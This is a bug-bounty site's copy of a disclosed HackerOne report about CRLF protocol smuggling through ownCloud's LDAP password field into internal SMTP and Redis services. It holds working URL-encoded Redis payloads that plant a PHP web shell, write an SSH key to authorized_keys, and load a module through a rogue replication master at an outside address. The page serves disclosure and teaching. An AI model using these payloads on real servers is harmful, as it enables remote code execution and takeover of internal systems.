Skip to content
SSRF Disclosed report Advanced

Protocol Smuggling over LDAP password field

The LDAP password field in the user_ldap plugin did not reject newline characters, so an admin could inject protocol commands that were sent to internal services such as SMTP and Redis. An attacker with admin access could send arbitrary emails and, against Redis, write files or load modules to achieve remote code execution.

pabl00nicarres Follow

Originally disclosed on HackerOne

  • Triaged in 6 days
  • Fixed in 9 months
  • Paid in 6 days
  • Disclosed after 9 months

Privileges required: Admin

Hi, "user_ldap" plugin can be leveraged to interact with internal services over various protocols. LDAP password field can be exploited with newline chars (\r\n) in order to communicate with protocols like SMTP, Redis and, generally speaking, with all services those speak plain text protocols (e.g. postgres, memcached, etc.). I concentrated only on SMTP and Redis services.
The following code is responsible for setting password field, without checking the user input for new lines chars.

setrawvalue.png
setrawvalue.png From the original on HackerOne

For all other ldap settings, the below check is performed.

setmultiline_function.png
setmultiline_function.png From the original on HackerOne
setmultiline.png
setmultiline.png

An attacker, able to steal admin credentials/session cookies could leverage the password field to send arbitrary e-mails and even achieve remote code execution. Below some examples and payloads used. When setting LDAP password is mandatory to intercept the request with a web proxy to get rid of URL encoding performed by Owncloud. For SMTPs services the process is trivial and exploitable with or without authentication (when credentials are known). Is sufficient to give arbitratry SMTP commands separated by EOL CHARS "%0D%0A".

smtp_poc.png
smtp_poc.png From the original on HackerOne

For redis instances, the issue can be exploited in many different ways, even with authentication set (when credentials are known). I included a POC for 3 principal cases:

  • Writing a web shell into Owncloud webroot (according to redis user’s permissions). Below payload and evidences: _%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2434%0D%0A/home/bitnami/apps/owncloud/htdocs%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
command_output.png
command_output.png From the original on HackerOne
  • Master / Slave replication exploit (this generally works on all redis versions from 4.x to 5.x) and permits arbitrary command execution (In the example I just wrote a file in tmp but it also can be a reverse shell).

%0D%0ASLAVEOF%20192.168.1.237%206666%0D%0Aconfig%20set%20dbfilename%20exp.so%0D%0A0D%0Aquit%0D%0A %0D%0A%0D%0AMODULE%20LOAD%20./exp.so%0D%0Asystem.exec%20touch%20/tmp/redis_master_slave%0D%0A

_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24667%0D%0A%0A%0Assh-rsa%0A%0A----BEGIN%20RSA%20PRIVATE%20KEY%0A%0AMIIBuwIBAAKBgQCM9adaXNfWm%2BtxyY7z3R0lV9TULSd5Z/6sHIw1sDqXkX2T9LLDgF75IbaTKeToMV4uq/eqBhMOcpW3XZytTJ6LKxmzMhGq9fIK%2BNmhnbTvcZ6CJSuJefcnQrzMdlF/gsjzrESc5H/RB64Gtty4b3QchWl77BM2zQKzboxHvLlMKwIVAJ/1fDsXaW5766Lmrv551XI/uIY9AoGAeFXLCK8Upuu3tsKffDtjjsomVxCCEghPL%2BLmHjJc6MVl4ZW4t%2BggzFJ5mPlQiBDh5ykWj5dVlsMtqR7LoMUsQGSjWicYeMKer3zn0ijoFUHuNXX3QJLJd3lWJrlKGs1ABizXsl4SH/%2BGwWYVWN%2BM3lYj9lFyONu66Ei857PX%2BwgCgYBl9eW36ZaBDGHBDH6wL8BwwPS1IhNPgRvecgP648/8vEs5C9buSxsjX40Yw/It%2BhB/nDjyjGYleWB8AaTguKhi9Te9tKdxwod5qg/T/uXH9IXoF9QnkLNUvnWe4KlcUW/0m2JpY5w0W5utmsC2gwLzXN7Zxnon3%2BRblzg9MIj6EwIVAIq6g7pVO/xwR5/ZNRZfRk5TfIjS%0A%0A-----END%20DSA%20PRIVATE%20KEY-----%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/lib/redis/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

redis_write_ssh.png
redis_write_ssh.png From the original on HackerOne

I set the severity to low because of preconditions required: Administrator access and presence of these services, listening on localhost or internal network.

Impact

As always for SSRF related issues, impact may vary depending on exposed services.

Attachments

redis_master_slave.png
redis_master_slave.png From the original on HackerOne
command_output.png
command_output.png

The original report as published on HackerOne, by pabl00nicarres. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The password field was saved without the newline check that was applied to the other LDAP settings, allowing injected line breaks to reach downstream services.

Impact

An attacker with admin access could send arbitrary emails and, where Redis is reachable, could write files or load modules to achieve remote code execution; the author rated severity low because admin access and the presence of these internal services are required.

What the attacker needed

Admin access; internal SMTP or Redis reachable; known service credentials (optional)

How it was found

  1. Intercept the request that sets the LDAP password with a web proxy to remove URL encoding.
  2. Insert newline characters followed by commands for the target service into the password field.
  3. Submit the request so the plugin connects to the internal service and sends the injected commands.
  4. For Redis, use the injected commands to write a web shell, set up replication, or write an SSH key.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Some programs talk to other services using simple text commands, one line at a time. If a field that should hold a password accepts line breaks, an attacker can sneak extra commands into that field and the program will pass them on to the other service. Here the password field let an admin send commands to internal mail and database servers.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by pabl00nicarres

View all

3 more disclosed reports, best first.

More from ownCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.